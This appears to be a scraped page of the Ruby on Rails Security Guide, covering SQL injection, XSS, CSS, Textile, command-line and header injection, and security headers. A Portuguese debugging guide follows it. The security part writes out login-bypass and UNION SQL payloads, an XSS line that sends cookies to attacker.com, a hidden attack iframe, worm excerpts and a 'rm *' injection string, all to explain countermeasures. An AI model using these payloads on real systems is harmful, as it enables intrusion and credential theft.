SQL injection attacks aim at influencing database queries by manipulating web application parameters. A popular goal of SQL injection attacks is to bypass authorization. Another goal is to carry out data manipulation or reading arbitrary data. Here is an example of how not to use user input data in a query:

Project.where("name = '#{params[:name]}'")

Project.where("name = '#{params[:name]}'") Copiar

This could be in a search action and the user may enter a project's name that they want to find. If a malicious user enters ' OR 1 --, the resulting SQL query will be:

SELECT * FROM projects WHERE name = '' OR 1 --'

SELECT * FROM projects WHERE name = '' OR 1 --' Copiar

The two dashes start a comment ignoring everything after it. So the query returns all records from the projects table including those blind to the user. This is because the condition is true for all records.

7.2.2 Bypassing Authorization

Usually a web application includes access control. The user enters their login credentials and the web application tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.

User.find_by("login = '#{params[:name]}' AND password = '#{params[:password]}'")

User.find_by("login = '#{params[:name]}' AND password = '#{params[:password]}'") Copiar

If an attacker enters ' OR '1'='1 as the name, and ' OR '2'>'1 as the password, the resulting SQL query will be:

SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1

SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1 Copiar

This will simply find the first record in the database, and grants access to this user.

7.2.3 Unauthorized Reading

The UNION statement connects two SQL queries and returns the data in one set. An attacker can use it to read arbitrary data from the database. Let's take the example from above:

Project.where("name = '#{params[:name]}'")

Project.where("name = '#{params[:name]}'") Copiar

And now let's inject another query using the UNION statement:

') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --

') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users -- Copiar

This will result in the following SQL query:

SELECT * FROM projects WHERE (name = '') UNION
SELECT id,login AS name,password AS description,1,1,1 FROM users --'

SELECT * FROM projects WHERE (name = '') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --' Copiar

The result won't be a list of projects (because there is no project with an empty name), but a list of user names and their password. So hopefully you encrypted the passwords in the database! The only problem for the attacker is, that the number of columns has to be the same in both queries. That's why the second query includes a list of ones (1), which will be always the value 1, in order to match the number of columns in the first query.

Also, the second query renames some columns with the AS statement so that the web application displays the values from the user table. Be sure to update your Rails to at least 2.1.1.

7.2.4 Countermeasures

Ruby on Rails has a built-in filter for special SQL characters, which will escape ' , " , NULL character, and line breaks. Using Model.find(id) or Model.find_by_some thing(something) automatically applies this countermeasure. But in SQL fragments, especially in conditions fragments (where("...")), the connection.execute() or Model.find_by_sql() methods, it has to be applied manually.

Instead of passing a string to the conditions option, you can pass an array to sanitize tainted strings like this:

Model.where("login = ? AND password = ?", entered_user_name, entered_password).first

Model.where("login = ? AND password = ?", entered_user_name, entered_password).first Copiar

As you can see, the first part of the array is an SQL fragment with question marks. The sanitized versions of the variables in the second part of the array replace the question marks. Or you can pass a hash for the same result:

Model.where(login: entered_user_name, password: entered_password).first

Model.where(login: entered_user_name, password: entered_password).first Copiar

The array or hash form is only available in model instances. You can try sanitize_sql() elsewhere. Make it a habit to think about the security consequences when using an external string in SQL.

7.3 Cross-Site Scripting (XSS)

The most widespread, and one of the most devastating security vulnerabilities in web applications is XSS. This malicious attack injects client-side executable code. Rails provides helper methods to fend these attacks off.

7.3.1 Entry Points

An entry point is a vulnerable URL and its parameters where an attacker can start an attack.

The most common entry points are message posts, user comments, and guest books, but project titles, document names, and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter - obvious, hidden or internal. Remember that the user may intercept any traffic. Applications or client-site proxies make it easy to change requests. There are also other attack vectors like banner advertisements.

XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session, redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the web browser.

During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The Symantec Global Internet Security threat report also documented 239 browser plug-in vulnerabilities in the last six months of 2007. Mpack is a very active and up-to-date attack framework which exploits these vulnerabilities. For criminal hackers, it is very attractive to exploit an SQL-Injection vulnerability in a web application framework and insert malicious code in every textual table column. In April 2008 more than 510,000 sites were hacked like this, among them the British government, United Nations, and many more high profile targets.

7.3.2 HTML/JavaScript Injection

The most common XSS language is of course the most popular client-side scripting language JavaScript, often in combination with HTML. Escaping user input is essential.

Here is the most straightforward test to check for XSS:

<script>alert('Hello');</script>

<script>alert('Hello');</script> Copiar

This JavaScript code will simply display an alert box. The next examples do exactly the same, only in very uncommon places:

<img src=javascript:alert('Hello')>
<table background="javascript:alert('Hello')">

<img src=javascript:alert('Hello')> <table background="javascript:alert('Hello')"> Copiar

7.3.2.1 Cookie Theft

These examples don't do any harm so far, so let's see how an attacker can steal the user's cookie (and thus hijack the user's session). In JavaScript you can use the document.cookie property to read and write the document's cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The document.cookie property holds the cookie of the originating web server. However, you can read and write this property, if you embed the code directly in the HTML document (as it happens with XSS). Inject this anywhere in your web application to see your own cookie on the result page:

<script>document.write(document.cookie);</script>

<script>document.write(document.cookie);</script> Copiar

For an attacker, of course, this is not useful, as the victim will see their own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review their web server's access log files to see the victim's cookie.

<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>

<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script> Copiar

The log files on www.attacker.com will read like this:

GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2

GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2 Copiar

You can mitigate these attacks (in the obvious way) by adding the httpOnly flag to cookies, so that document.cookie may not be read by JavaScript. HTTP only cookies can be used from IE v6.SP1, Firefox v2.0.0.5, Opera 9.5, Safari 4, and Chrome 1.0.154 onwards. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies will still be visible using Ajax, though.

7.3.2.2 Defacement

With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials, or other sensitive data. The most popular way is to include code from external sources by iframes:

<iframe name="StatPage" src="http://58.xx.xxx.xxx" width=5 height=5 style="display:none"></iframe>

<iframe name="StatPage" src="http://58.xx.xxx.xxx" width=5 height=5 style="display:none"></iframe> Copiar

This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iframe is taken from an actual attack on legitimate Italian sites using the Mpack attack framework. Mpack tries to install malicious software through security holes in the web browser - very successfully, 50% of the attacks succeed.

A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site's original, but transmits the user name and password to the attacker's site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site.

Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but included in the URL. Especially search forms fail to escape the search string. The following link presented a page which stated that "George Bush appointed a 9 year old boy to be the chairperson...":

http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->
<script src=http://www.securitylab.ru/test/sc.js></script><!--

http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1--> <script src=http://www.securitylab.ru/test/sc.js></script><!-- Copiar

7.3.2.3 Countermeasures

It is very important to filter malicious input, but it is also important to escape the output of the web application.

Especially for XSS, it is important to do permitted input filtering instead of restricted. Permitted list filtering states the values allowed as opposed to the values not allowed. Restricted lists are never complete.

Imagine a restricted list deletes "script" from the user input. Now the attacker injects "<scrscriptipt>", and after the filter, "<script>" remains. Earlier versions of Rails used a restricted list approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible:

strip_tags("some<<b>script>alert('hello')<</b>/script>")

strip_tags("some<<b>script>alert('hello')<</b>/script>") Copiar

This returned "some<script>alert('hello')</script>", which makes an attack work. That's why a permitted list approach is better, using the updated Rails 2 method sanitize():

tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
s = sanitize(user_input, tags: tags, attributes: %w(href title))

tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p) s = sanitize(user_input, tags: tags, attributes: %w(href title)) Copiar

This allows only the given tags and does a good job, even against all kinds of tricks and malformed tags.

As a second step, it is good practice to escape all output of the application, especially when re-displaying user input, which hasn't been input-filtered (as in the search form example earlier on). Use escapeHTML() (or its alias h()) method to replace the HTML input characters &, ", <, and > by their uninterpreted representations in HTML (&amp;, &quot;, &lt;, and &gt;).

7.3.2.4 Obfuscation and Encoding Injection

Network traffic is mostly based on the limited Western alphabet, so new character encodings, such as Unicode, emerged, to transmit characters in other languages. But, this is also a threat to web applications, as malicious code can be hidden in different encodings that the web browser might be able to process, but the web application might not. Here is an attack vector in UTF-8 encoding:

<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;
&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97; &#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;> Copiar

This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus "get to know your enemy", is the Hackvertor. Rails' sanitize() method does a good job to fend off encoding attacks.

7.3.3 Examples from the Underground

In order to understand today's attacks on web applications, it's best to take a look at some real-world attack vectors.

The following is an excerpt from the Js.Yamanner@m Yahoo! Mail worm. It appeared on June 11, 2006 and was the first webmail interface worm:

<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
target=""onload="var http_request = false;    var Email = '';
var IDList = '';   var CRumb = '';   function makeRequest(url, Func, Method,Param) { ...

<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif' target=""onload="var http_request = false; var Email = ''; var IDList = ''; var CRumb = ''; function makeRequest(url, Func, Method,Param) { ... Copiar

The worms exploit a hole in Yahoo's HTML/JavaScript filter, which usually filters all targets and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why restricted list filters are never complete and why it is hard to allow HTML/JavaScript in a web application.

Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details on Rosario Valotta's paper. Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with.

In December 2006, 34,000 actual user names and passwords were stolen in a MySpace phishing attack. The idea of the attack was to create a profile page named "login_home_index_html", so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form.

7.4 CSS Injection

CSS Injection is actually JavaScript injection, because some browsers (IE, some versions of Safari, and others) allow JavaScript in CSS. Think twice about allowing custom CSS in your web application.

CSS Injection is explained best by the well-known MySpace Samy worm. This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 1 million friend requests, which created so much traffic that MySpace went offline. The following is a technical explanation of that worm.

MySpace blocked many tags, but allowed CSS. So the worm's author put JavaScript into CSS like this:

<div style="background:url('javascript:alert(1)')">

<div style="background:url('javascript:alert(1)')"> Copiar

So the payload is in the style attribute. But there are no quotes allowed in the payload, because single and double quotes have already been used. But JavaScript has a handy eval() function which executes any string as code.

<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">

<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')"> Copiar

The eval() function is a nightmare for restricted list input filters, as it allows the style attribute to hide the word "innerHTML":

alert(eval('document.body.inne' + 'rHTML'));

alert(eval('document.body.inne' + 'rHTML')); Copiar

The next problem was MySpace filtering the word "javascript", so the author used "java<NEWLINE>script" to get around this:

<div id="mycode" expr="alert('hah!')" style="background:url('java↵script:eval(document.all.mycode.expr)')">

<div id="mycode" expr="alert('hah!')" style="background:url('java↵script:eval(document.all.mycode.expr)')"> Copiar

Another problem for the worm's author was the CSRF security tokens. Without them he couldn't send a friend request over POST. He got around it by sending a GET to the page right before adding a user and parsing the result for the CSRF token.

In the end, he got a 4 KB worm, which he injected into his profile page.

The moz-binding CSS property proved to be another way to introduce JavaScript in CSS in Gecko-based browsers (Firefox, for example).

7.4.1 Countermeasures

This example, again, showed that a restricted list filter is never complete. However, as custom CSS in web applications is a quite rare feature, it may be hard to find a good permitted CSS filter. If you want to allow custom colors or images, you can allow the user to choose them and build the CSS in the web application. Use Rails' sanitize() method as a model for a permitted CSS filter, if you really need one.

7.5 Textile Injection

If you want to provide text formatting other than HTML (due to security), use a mark-up language which is converted to HTML on the server-side. RedCloth is such a language for Ruby, but without precautions, it is also vulnerable to XSS.

For example, RedCloth translates _test_ to <em>test<em>, which makes the text italic. However, up to the current version 3.0.4, it is still vulnerable to XSS. Get the all-new version 4 that removed serious bugs. However, even that version has some security bugs, so the countermeasures still apply. Here is an example for version 3.0.4:

RedCloth.new('<script>alert(1)</script>').to_html
# => "<script>alert(1)</script>"

RedCloth.new('<script>alert(1)</script>').to_html # => "<script>alert(1)</script>" Copiar

Use the :filter_html option to remove HTML which was not created by the Textile processor.

RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html
# => "alert(1)"

RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html # => "alert(1)" Copiar

However, this does not filter all HTML, a few tags will be left (by design), for example <a>:

RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html
# => "<p><a href="javascript:alert(1)">hello</a></p>"

RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html # => "<p><a href="javascript:alert(1)">hello</a></p>" Copiar

7.5.1 Countermeasures

It is recommended to use RedCloth in combination with a permitted input filter, as described in the countermeasures against XSS section.

7.6 Ajax Injection

The same security precautions have to be taken for Ajax actions as for "normal" ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn't render a view.

If you use the in_place_editor plugin, or actions that return a string, rather than rendering a view, you have to escape the return value in the action. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method.

7.7 Command Line Injection

Use user-supplied command line parameters with caution.

If your application has to execute commands in the underlying operating system, there are several methods in Ruby: exec(command), syscall(command), system(command) and command. You will have to be especially careful with these functions if the user may enter the whole command, or a part of it. This is because in most shells, you can execute another command at the end of the first one, concatenating them with a semicolon (;) or a vertical bar (|).

A countermeasure is to use the system(command, parameters) method which passes command line parameters safely.

system("/bin/echo","hello; rm *")
# prints "hello; rm *" and does not delete files

system("/bin/echo","hello; rm *") # prints "hello; rm *" and does not delete files Copiar

7.8 Header Injection

HTTP headers are dynamically generated and under certain circumstances user input may be injected. This can lead to false redirection, XSS, or HTTP response splitting.

HTTP request headers have a Referer, User-Agent (client software), and Cookie field, among others. Response headers for example have a status code, Cookie, and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. Remember to escape these header fields, too. For example when you display the user agent in an administration area.

Besides that, it is important to know what you are doing when building response headers partly based on user input. For example you want to redirect the user back to a specific page. To do that you introduced a "referer" field in a form to redirect to the given address:

redirect_to params[:referer]

redirect_to params[:referer] Copiar

What happens is that Rails puts the string into the Location header field and sends a 302 (redirect) status to the browser. The first thing a malicious user would do, is this:

http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld

http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld Copiar

And due to a bug in (Ruby and) Rails up to version 2.1.2 (excluding it), a hacker may inject arbitrary header fields; for example like this:

http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi!
http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld

http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi! http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld Copiar

Note that %0d%0a is URL-encoded for \r\n which is a carriage-return and line-feed (CRLF) in Ruby. So the resulting HTTP header for the second example will be the following because the second Location header field overwrites the first.

HTTP/1.1 302 Moved Temporarily
(...)
Location: http://www.malicious.tld

HTTP/1.1 302 Moved Temporarily (...) Location: http://www.malicious.tld Copiar

So attack vectors for Header Injection are based on the injection of CRLF characters in a header field. And what could an attacker do with a false redirection? They could redirect to a phishing site that looks the same as yours, but ask to login again (and sends the login credentials to the attacker). Or they could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the redirect_to method. Make sure you do it yourself when you build other header fields with user input.

7.8.1 Response Splitting

If Header Injection was possible, Response Splitting might be, too. In HTTP, the header block is followed by two CRLFs and the actual data (usually HTML). The idea of Response Splitting is to inject two CRLFs into a header field, followed by another response with malicious HTML. The response will be:

HTTP/1.1 302 Found [First standard 302 response]
Date: Tue, 12 Apr 2005 22:09:07 GMT
Location:Content-Type: text/html

HTTP/1.1 200 OK [Second New response created by attacker begins]
Content-Type: text/html

&lt;html&gt;&lt;font color=red&gt;hey&lt;/font&gt;&lt;/html&gt; [Arbitrary malicious input is
Keep-Alive: timeout=15, max=100         shown as the redirected page]
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html

HTTP/1.1 302 Found [First standard 302 response] Date: Tue, 12 Apr 2005 22:09:07 GMT Location:Content-Type: text/html HTTP/1.1 200 OK [Second New response created by attacker begins] Content-Type: text/html &lt;html&gt;&lt;font color=red&gt;hey&lt;/font&gt;&lt;/html&gt; [Arbitrary malicious input is Keep-Alive: timeout=15, max=100 shown as the redirected page] Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html Copiar

Under certain circumstances this would present the malicious HTML to the victim. However, this only seems to work with Keep-Alive connections (and many browsers are using one-time connections). But you can't rely on this. In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks.

8 Unsafe Query Generation

Due to the way Active Record interprets parameters in combination with the way that Rack parses query parameters it was possible to issue unexpected database queries with IS NULL where clauses. As a response to that security issue (CVE-2012-2660, CVE-2012-2694 and CVE-2013-0155) deep_munge method was introduced as a solution to keep Rails secure by default.

Example of vulnerable code that could be used by attacker, if deep_munge wasn't performed is:

unless params[:token].nil?
user = User.find_by_token(params[:token])
user.reset_password!
end

unless params[:token].nil? user = User.find_by_token(params[:token]) user.reset_password! end Copiar

When params[:token] is one of: [nil], [nil, nil, ...] or ['foo', nil] it will bypass the test for nil, but IS NULL or IN ('foo', NULL) where clauses still will be added to the SQL query.

To keep Rails secure by default, deep_munge replaces some of the values with nil. Below table shows what the parameters look like based on JSON sent in request:

JSON

Parameters

{ "person": null }

{ :person => nil }

{ "person": [] }

{ :person => [] }

{ "person": [null] }

{ :person => [] }

{ "person": [null, null, ...] }

{ :person => [] }

{ "person": ["foo", null] }

{ :person => ["foo"] }

It is possible to return to old behavior and disable deep_munge configuring your application if you are aware of the risk and know how to handle it:

config.action_dispatch.perform_deep_munge = false

config.action_dispatch.perform_deep_munge = false Copiar

9 Default Headers

Every HTTP response from your Rails application receives the following default security headers.

config.action_dispatch.default_headers = {
'X-Frame-Options' => 'SAMEORIGIN',
'X-XSS-Protection' => '1; mode=block',
'X-Content-Type-Options' => 'nosniff',
'X-Download-Options' => 'noopen',
'X-Permitted-Cross-Domain-Policies' => 'none',
'Referrer-Policy' => 'strict-origin-when-cross-origin'
}

config.action_dispatch.default_headers = { 'X-Frame-Options' => 'SAMEORIGIN', 'X-XSS-Protection' => '1; mode=block', 'X-Content-Type-Options' => 'nosniff', 'X-Download-Options' => 'noopen', 'X-Permitted-Cross-Domain-Policies' => 'none', 'Referrer-Policy' => 'strict-origin-when-cross-origin' } Copiar

You can configure default headers in config/application.rb.

config.action_dispatch.default_headers = {
'Header-Name' => 'Header-Value',
'X-Frame-Options' => 'DENY'
}

config.action_dispatch.default_headers = { 'Header-Name' => 'Header-Value', 'X-Frame-Options' => 'DENY' } Copiar

Or you can remove them.

config.action_dispatch.default_headers.clear

config.action_dispatch.default_headers.clear Copiar

Here is a list of common headers:

- X-Frame-Options: SAMEORIGIN in Rails by default - allow framing on same domain. Set it to 'DENY' to deny framing at all or remove this header completely if you want to allow framing on all websites.

- X-XSS-Protection: 1; mode=block in Rails by default - use XSS Auditor and block page if XSS attack is detected. Set it to '0;' if you want to switch XSS Auditor off(useful if response contents scripts from request parameters)

- X-Content-Type-Options: nosniff in Rails by default - stops the browser from guessing the MIME type of a file.

- X-Content-Security-Policy: A powerful mechanism for controlling which sites certain content types can be loaded from

- Access-Control-Allow-Origin: Used to control which sites are allowed to bypass same origin policies and send cross-origin requests.

- Strict-Transport-Security: Used to control if the browser is allowed to only access a site over a secure connection

9.1 Content Security Policy

Rails provides a DSL that allows you to configure a Content Security Policy for your application. You can configure a global default policy and then override it on a per-resource basis and even use lambdas to inject per-request values into the header such as account subdomains in a multi-tenant application.

Example global policy:

# config/initializers/content_security_policy.rb
Rails.application.config.content_security_policy do |policy|
policy.default_src :self, :https
policy.font_src    :self, :https, :data
policy.img_src     :self, :https, :data
policy.object_src  :none
policy.script_src  :self, :https
policy.style_src   :self, :https

# Specify URI for violation reports
policy.report_uri "/csp-violation-report-endpoint"
end

# config/initializers/content_security_policy.rb Rails.application.config.content_security_policy do |policy| policy.default_src :self, :https policy.font_src :self, :https, :data policy.img_src :self, :https, :data policy.object_src :none policy.script_src :self, :https policy.style_src :self, :https # Specify URI for violation reports policy.report_uri "/csp-violation-report-endpoint" end Copiar

Example controller overrides:

# Override policy inline
class PostsController < ApplicationController
content_security_policy do |p|
p.upgrade_insecure_requests true
end
end

# Using literal values
class PostsController < ApplicationController
content_security_policy do |p|
p.base_uri "https://www.example.com"
end
end

# Using mixed static and dynamic values
class PostsController < ApplicationController
content_security_policy do |p|
p.base_uri :self, -> { "https://#{current_user.domain}.example.com" }
end
end

# Disabling the global CSP
class LegacyPagesController < ApplicationController
content_security_policy false, only: :index
end

# Override policy inline class PostsController < ApplicationController content_security_policy do |p| p.upgrade_insecure_requests true end end # Using literal values class PostsController < ApplicationController content_security_policy do |p| p.base_uri "https://www.example.com" end end # Using mixed static and dynamic values class PostsController < ApplicationController content_security_policy do |p| p.base_uri :self, -> { "https://#{current_user.domain}.example.com" } end end # Disabling the global CSP class LegacyPagesController < ApplicationController content_security_policy false, only: :index end Copiar

Use the content_security_policy_report_only configuration attribute to set Content-Security-Policy-Report-Only in order to report only content violations for migrating legacy content

# config/initializers/content_security_policy.rb
Rails.application.config.content_security_policy_report_only = true

# config/initializers/content_security_policy.rb Rails.application.config.content_security_policy_report_only = true Copiar

# Controller override
class PostsController < ApplicationController
content_security_policy_report_only only: :index
end

# Controller override class PostsController < ApplicationController content_security_policy_report_only only: :index end Copiar

You can enable automatic nonce generation:

# config/initializers/content_security_policy.rb
Rails.application.config.content_security_policy do |policy|
policy.script_src :self, :https
end

Rails.application.config.content_security_policy_nonce_generator = -> request { SecureRandom.base64(16) }

# config/initializers/content_security_policy.rb Rails.application.config.content_security_policy do |policy| policy.script_src :self, :https end Rails.application.config.content_security_policy_nonce_generator = -> request { SecureRandom.base64(16) } Copiar

Then you can add an automatic nonce value by passing nonce: true as part of html_options. Example:

<%= javascript_tag nonce: true do -%>
alert('Hello, World!');
<% end -%>

<%= javascript_tag nonce: true do -%> alert('Hello, World!'); <% end -%> Copiar

The same works with javascript_include_tag:

<%= javascript_include_tag "script", nonce: true %>

<%= javascript_include_tag "script", nonce: true %> Copiar

Use csp_meta_tag helper to create a meta tag "csp-nonce" with the per-session nonce value for allowing inline <script> tags.

<head>
<%= csp_meta_tag %>
</head>

<head> <%= csp_meta_tag %> </head> Copiar

This is used by the Rails UJS helper to create dynamically loaded inline <script> elements.

10 Environmental Security

It is beyond the scope of this guide to inform you on how to secure your application code and environments. However, please secure your database configuration, e.g. config/database.yml, master key for credentials.yml, and other unencrypted secrets. You may want to further restrict access, using environment-specific versions of these files and any others that may contain sensitive information.

10.1 Custom Credentials

Rails stores secrets in config/credentials.yml.enc, which is encrypted and hence cannot be edited directly. Rails uses config/master.key or alternatively looks for the environment variable ENV["RAILS_MASTER_KEY"] to encrypt the credentials file. Because the credentials file is encrypted, it can be stored in version control, as long as the master key is kept safe.

By default, the credentials file contains the application's secret_key_base. It can also be used to store other secrets such as access keys for external APIs.

To edit the credentials file, run bin/rails credentials:edit. This command will create the credentials file if it does not exist. Additionally, this command will create config/master.key if no master key is defined.

Secrets kept in the credentials file are accessible via Rails.application.credentials. For example, with the following decrypted config/credentials.yml.enc:

secret_key_base: 3b7cd72...
some_api_key: SOMEKEY

secret_key_base: 3b7cd72... some_api_key: SOMEKEY Copiar

Rails.application.credentials.some_api_key returns "SOMEKEY".

If you want an exception to be raised when some key is blank, you can use the bang version:

# When some_api_key is blank...
Rails.application.credentials.some_api_key! # => KeyError: :some_api_key is blank

# When some_api_key is blank... Rails.application.credentials.some_api_key! # => KeyError: :some_api_key is blank Copiar

Learn more about credentials with bin/rails credentials:help.

Keep your master key safe. Do not commit your master key.

11 Dependency Management and CVEs

We don’t bump dependencies just to encourage use of new versions, including for security issues. This is because application owners need to manually update their gems regardless of our efforts. Use bundle update --conservative gem_name to safely update vulnerable dependencies.

12 Additional Resources

The security landscape shifts and it is important to keep up to date, because missing a new vulnerability can be catastrophic. You can find additional resources about (Rails) security here:

- Subscribe to the Rails security mailing list.

- Brakeman - Rails Security Scanner - To perform static security analysis for Rails applications.

- Mozilla's Web Security Guidelines - Recommendations on topics covering Content Security Policy, HTTP headers, Cookies, TLS configuration, etc.

- A good security blog including the Cross-Site scripting Cheat Sheet.

Debug de Aplicações Rails — Ruby on...

1 View Helpers para Debugging

Uma tarefa comum é inspecionar o conteúdo de uma variável. O Rails fornece três diferentes formas para fazer isso:

- debug

- to_yaml

- inspect

1.1 debug

O helper debug irá retornar uma tag <pre> que renderiza um objeto usando o formato YAML. Isso vai gerar um dado legível para humanos a partir de qualquer objeto. Por exemplo, se você tem esse código em uma view:

<%= debug @article %>
<p>
<b>Title:</b>
<%= @article.title %>
</p>

<%= debug @article %> <p> <b>Title:</b> <%= @article.title %> </p> Copiar

Você verá algo parecido com isso:

--- !ruby/object Article
attributes:
updated_at: 2008-09-05 22:55:47
body: Esse é um guia muito útil para fazer o debugging da sua app Rails.
title: Guia de debugging do Rails
published: t
id: "1"
created_at: 2008-09-05 22:55:47
attributes_cache: {}

Title: Guia de *debugging* do Rails

--- !ruby/object Article attributes: updated_at: 2008-09-05 22:55:47 body: Esse é um guia muito útil para fazer o debugging da sua app Rails. title: Guia de debugging do Rails published: t id: "1" created_at: 2008-09-05 22:55:47 attributes_cache: {} Title: Guia de *debugging* do Rails Copiar

1.2 to_yaml

Como alternativa, chamar to_yaml em qualquer objeto o converte para YAML. Você pode passar esse objeto convertido para o método helper simple_format para formatar o output. É assim que o debug faz sua mágica.

<%= simple_format @article.to_yaml %>
<p>
<b>Title:</b>
<%= @article.title %>
</p>

<%= simple_format @article.to_yaml %> <p> <b>Title:</b> <%= @article.title %> </p> Copiar

O código acima vai renderizar algo como isso:

--- !ruby/object Article
attributes:
updated_at: 2008-09-05 22:55:47
body: Esse é um guia muito útil para fazer o debugging de sua app Rails.
title: Guia de debugging do Rails
published: t
id: "1"
created_at: 2008-09-05 22:55:47
attributes_cache: {}

Title: Guia de *debugging* do Rails

--- !ruby/object Article attributes: updated_at: 2008-09-05 22:55:47 body: Esse é um guia muito útil para fazer o debugging de sua app Rails. title: Guia de debugging do Rails published: t id: "1" created_at: 2008-09-05 22:55:47 attributes_cache: {} Title: Guia de *debugging* do Rails Copiar

1.3 inspect

Outro método útil para mostrar valores de objeto é o inspect, especialmente quando estamos trabalhando com arrays ou hashes. Isso imprimirá o valor do objeto como uma string. Por exemplo:

<%= [1, 2, 3, 4, 5].inspect %>
<p>
<b>Title:</b>
<%= @article.title %>
</p>

<%= [1, 2, 3, 4, 5].inspect %> <p> <b>Title:</b> <%= @article.title %> </p> Copiar

Vai renderizar:

[1, 2, 3, 4, 5]

Title: Guia de *debugging* do Rails

[1, 2, 3, 4, 5] Title: Guia de *debugging* do Rails Copiar

2 O Logger

Pode ser útil salvar informações em um arquivo de log em tempo de execução. O Rails mantém um arquivo de log separado para cada ambiente de execução.

2.1 O que é o Logger?

O Rails utiliza a classe ActiveSupport::Logger para guardar informações de log. Outros tipos de loggers, como o Log4r, também podem ser utilizados.

Você pode especificar um logger alternativo em config/application.rb ou em qualquer outro arquivo de ambiente, por exemplo:

config.logger = Logger.new(STDOUT)
config.logger = Log4r::Logger.new("Application Log")

config.logger = Logger.new(STDOUT) config.logger = Log4r::Logger.new("Application Log") Copiar

Ou na seção Initializer, adicione qualquer um dos seguintes:

Rails.logger = Logger.new(STDOUT)
Rails.logger = Log4r::Logger.new("Application Log")

Rails.logger = Logger.new(STDOUT) Rails.logger = Log4r::Logger.new("Application Log") Copiar

Por padrão, cada log é criado em Rails.root/log/ e o arquivo de registro é criado com o nome do ambiente no qual a aplicação está sendo executada.

2.2 Níveis de Log

Quando algo é registrado, a informação é armazenada no local de registro correspondente se o nível de log for igual ou maior que o configurado. Se você quiser saber o nível atual do registro, você pode o método Rails.logger.level.

Os níveis de log disponiveis são: :debug, :info, :warn, :error, :fatal, e :unknown, correspondendo aos níveis de log de 0 até 5, respectivamente. Para mudar o nível de log padrão, utilize:

config.log_level = :warn # Em qualquer inicializador de ambiente, ou
Rails.logger.level = 0 # a qualquer momento

